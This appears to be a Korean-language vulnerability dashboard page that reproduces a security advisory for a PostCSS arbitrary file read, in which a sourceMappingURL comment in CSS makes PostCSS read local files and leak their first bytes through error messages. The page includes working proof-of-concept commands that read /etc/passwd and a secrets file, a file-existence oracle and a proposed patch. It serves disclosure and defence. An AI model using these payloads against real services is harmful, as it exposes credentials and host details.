Kestrel
대시보드로 돌아가기
CVE-2026-45623HIGH· 7.5GHSA대응게시일: 2026. 07. 23.수정일: 2026. 07. 23.

PostCSS: Arbitrary file read and information disclosure via attacker-controlled sourceMappingURL in CSS comments

위협 신호 · CVSS · EPSS · KEV

정기 패치· 높은 악용 신호 없음
CVSS
7.5high

이론적 심각도 점수

EPSS

예측 데이터 없음

KEV
미등재

실측 악용 기록 없음

권장 대응 기한14일 이내CISA SSVC 기준

2주 이내 패치 — 우선 조치 대상

자동화 가능외부 노출· KEV 미등재 · 자동화 가능 · 부분 영향 · 외부 노출

CVSS 벡터 · 메트릭

악용 경로
공격 벡터네트워크
공격 복잡도낮음
필요 권한불필요
사용자 상호작용불필요
범위불변
영향
기밀성 영향높음
무결성 영향없음
가용성 영향없음
버전별 점수
CVSS 3.17.5HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

상세 설명

Summary

PostCSS's PreviousMap parses the /*# sourceMappingURL=PATH */ comment from any CSS string passed to process() and dereferences PATH against the local filesystem with no scheme, allowlist, or traversal check. An attacker who controls the CSS input can cause the host process to read any file readable by Node and leak the first ~10 bytes of its content through the resulting JSON.parse SyntaxError message. The bug also yields a precise file-existence oracle and a controllable-read primitive that may be combined with large-file targets for DoS. The behaviour is triggered with PostCSS's default options — no from, no map, no plugins required — and is therefore reachable from any pipeline that runs untrusted CSS through PostCSS (CMS themes, user-uploaded styles, browser-extension/userstyle processors, build pipelines for third-party packages, blog comment renderers, etc.).

Details

The dangerous chain lives in lib/previous-map.js and is wired into every Input construction at lib/input.js:70-77.

Input constructor (lib/input.js:70-77):

text
1if (pathAvailable && sourceMapAvailable) {
2 let map = new PreviousMap(this.css, opts)
3 if (map.text) {
4 this.map = map
5 let file = map.consumer().file
6 if (!this.file && file) this.file = this.mapResolve(file)
7 }
8}

PreviousMap constructor (lib/previous-map.js:17-29):

text
1constructor(css, opts) {
2 if (opts.map === false) return
3 this.loadAnnotation(css)
4 this.inline = this.startWith(this.annotation, 'data:')
5
6 let prev = opts.map ? opts.map.prev : undefined
7 let text = this.loadMap(opts.from, prev)
8 ...
9}

Note opts.map === false is the only short-circuit. With default options (opts.map === undefined), the rest of the constructor — including the filesystem read — executes.

loadAnnotation (lib/previous-map.js:72-84) extracts the URL without sanitisation:

bash
1loadAnnotation(css) {
2 let comments = css.match(/\/\*\s*# sourceMappingURL=/g)
3 if (!comments) return
4 let start = css.lastIndexOf(comments.pop())
5 let end = css.indexOf('*/', start)
6 if (start > -1 && end > -1) {
7 this.annotation = this.getAnnotationURL(css.substring(start, end))
8 }
9}

getAnnotationURL (lib/previous-map.js:59-61) only strips the /*# sourceMappingURL= prefix and trims whitespace — no scheme check, no path normalisation, no allowlist.

loadMap (lib/previous-map.js:124-128) — when prev is absent and the annotation is not an inline data: URI:

text
1} else if (this.annotation) {
2 let map = this.annotation
3 if (file) map = join(dirname(file), map)
4 return this.loadFile(map)
5}
  • If opts.from is unset, file is undefined and the raw attacker-supplied path (e.g. /etc/passwd) is used directly.
  • If opts.from is set, path.join(dirname(file), attackerPath) is used. path.join does not block .. segments, so ../../../../../etc/passwd resolves outside the intended directory.

loadFile (lib/previous-map.js:86-92) is the sink:

text
1loadFile(path) {
2 this.root = dirname(path)
3 if (existsSync(path)) {
4 this.mapFile = path
5 return readFileSync(path, 'utf-8').toString().trim()
6 }
7}

The bytes are stored in this.text. Input immediately invokes map.consumer() (lib/input.js:74), which constructs a SourceMapConsumer (lib/previous-map.js:33). When the file is not valid source-map JSON (the common case), source-map-js calls JSON.parse, and V8's SyntaxError message embeds the first ~10 bytes of the file content:

text
1Unexpected token 'r', "root:x:0:0"... is not valid JSON

This error is propagated back to the caller. Any application that surfaces PostCSS errors (logs, HTTP 500 responses, build-tool output, debug pages) discloses those bytes to the attacker.

Trust-boundary analysis:

  • Attacker controls: CSS input passed to postcss().process(css, opts?).
  • Server resources: any file readable by the Node process — typically including app config, environment files, SSH keys, /etc/passwd, /proc/self/environ, etc.
  • No mitigations: there is no path validation, scheme allowlist, traversal check, or symlink check. The only relevant check (startWith(annotation, 'data:')) routes inline URIs to decodeInline; everything else hits loadFile.

Primitives obtained:

  • (a) Arbitrary file read — bytes loaded into Node memory.
  • (b) Information disclosure — first ~10 bytes leaked via JSON.parse SyntaxError message.
  • (c) File-existence oracle — non-existent paths return silently from loadFile (existsSync is false → returns undefined → no map text → no consumer call → no error). Existent non-JSON paths throw. Existent JSON paths succeed silently. Three distinguishable states.
  • (d) DoS primitive — directing the read at /dev/zero, very large files, or device files can stall or crash the process.

PoC

All commands executed against this repository's HEAD (postcss 8.5.10) on Node v22.12.0.

Vector 1 — Absolute path, default options (no from, no map):

bash
1$ node -e 'const p=require("postcss"); \
2 try { p().process("a{color:red}\n/*# sourceMappingURL=/etc/passwd */"); } \
3 catch(e){console.log(e.message)}'
4Unexpected token 'r', "root:x:0:0"... is not valid JSON

The first 10 bytes of /etc/passwd (root:x:0:0) are leaked.

Vector 2 — Relative .. traversal with opts.from set (simulates a build pipeline that pins from to the source file):

bash
1$ node -e 'const p=require("postcss"); \
2 p().process("a{color:red}\n/*# sourceMappingURL=../../../../../etc/passwd */", \
3 {from:"/var/www/html/styles/main.css", map:{inline:false}}) \
4 .catch(e=>console.log(e.message))'
5Unexpected token 'r', "root:x:0:0"... is not valid JSON

path.join('/var/www/html/styles', '../../../../../etc/passwd') resolves to /etc/passwd.

Vector 3 — File-existence oracle:

bash
1# Existing non-JSON file → throws (file confirmed to exist)
2$ node -e 'require("postcss")().process("a{}\n/*# sourceMappingURL=/etc/passwd */")'
3SyntaxError: Unexpected token 'r', "root:x:0:0"... is not valid JSON
4
5# Non-existent file → returns silently (file confirmed absent)
6$ node -e 'r=require("postcss")().process("a{}\n/*# sourceMappingURL=/no/such/file */"); console.log("ok")'
7ok

Vector 4 — Custom file-content leak:

bash
1$ printf 'API_KEY=sk-secret-12345\n' > /tmp/server-secret.env
2$ node -e 'require("postcss")().process("a{}\n/*# sourceMappingURL=/tmp/server-secret.env */")' 2>&1 | head -1
3SyntaxError: Unexpected token 'A', "API_KEY=sk"... is not valid JSON

The first 10 bytes of /tmp/server-secret.env (API_KEY=sk) are leaked — sufficient to confirm a token's presence and, in many cases, recover its prefix.

Filesystem-call trace (proves the read happens with no opts at all):

bash
1const fs = require('fs');
2const orig = fs.readFileSync;
3fs.readFileSync = function(p){
4 if (typeof p==='string' && p.startsWith('/etc')) console.log('[FILE READ]:', p);
5 return orig.apply(this, arguments);
6};
7require('postcss')().process('a{}\n/*# sourceMappingURL=/etc/hostname */');
8// → [FILE READ]: /etc/hostname
9// → SyntaxError: Unexpected token 'D', "Debian-tri"... is not valid JSON

Impact

  • Arbitrary file read of any file readable by the Node process from any CSS-processing context that accepts attacker-influenced CSS. PostCSS has hundreds of millions of weekly npm downloads and is the standard CSS processor for build tools (webpack postcss-loader, vite, parcel, Next.js, Gatsby, etc.) and for runtime CSS-handling libraries (CSS Modules tools, CSS minifiers, theme processors). Any pipeline that runs untrusted user CSS — CMS theme uploads, user-styled blog posts, browser-extension/userstyle services, multi-tenant build farms, third-party-package build pipelines — is exposed.
  • Confidentiality leak of the first ~10 bytes of the targeted file via JSON.parse SyntaxError. This is enough to recover SSH-key headers, environment-variable prefixes (API_KEY=sk…), /etc/passwd records, the start of /proc/self/environ, and other high-value secrets, and to fingerprint the host (Debian-tri… from /etc/hostname).
  • File-existence oracle with three distinguishable response states (silent success, JSON.parse error, no-such-file silence), enabling reconnaissance of the host filesystem layout and confirmation of installed software, user accounts, and configuration files.
  • DoS by targeting /dev/zero, /proc/kcore, very large files, or named pipes — readFileSync is a synchronous, unbounded read.
  • Default-on: triggered with postcss().process(css) and no options. The only configuration that disables the bug is the explicit, undocumented-for-this-purpose { map: false }.

Recommended Fix

The root cause is that loadFile accepts any path the attacker supplies inside a CSS comment. The annotation is meant for tooling, not for production CSS processing of untrusted input. Two layered fixes:

  1. Refuse traversal/absolute paths in loadMap (defence-in-depth):

    text
    1// lib/previous-map.js
    2loadMap(file, prev) {
    3 if (prev === false) return false
    4 if (prev) { /* unchanged */ }
    5 else if (this.inline) {
    6 return this.decodeInline(this.annotation)
    7 } else if (this.annotation) {
    8 let annotation = this.annotation
    9 // Reject schemes (other than data:, handled above) and absolute paths.
    10 if (/^[a-zA-Z][a-zA-Z0-9+.-]*:/.test(annotation)) return
    11 if (require('path').isAbsolute(annotation)) return
    12 if (!file) return // No base path → cannot safely resolve.
    13 const base = require('path').resolve(require('path').dirname(file))
    14 const resolved = require('path').resolve(base, annotation)
    15 // Refuse anything that escapes the base directory.
    16 if (resolved !== base && !resolved.startsWith(base + require('path').sep)) {
    17 return
    18 }
    19 return this.loadFile(resolved)
    20 }
    21}
  2. Require explicit opt-in to follow on-disk source-map annotations: gate the loadFile(map) call in loadMap behind an option such as opts.map.annotation === true or opts.map.followAnnotation === true. Today, the only way to opt out is { map: false }, which also disables in-memory previous-map handling. Inverting the default — only follow disk-resident annotations when explicitly asked — eliminates the entire attack surface for callers that pass untrusted CSS, while preserving build-tool use cases where the annotation is trusted.

A user-facing changelog entry should warn that postcss().process(untrustedCss) previously read attacker-controlled paths, and recommend auditing applications that surfaced PostCSS errors to end users.

AI 심층 분석

공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.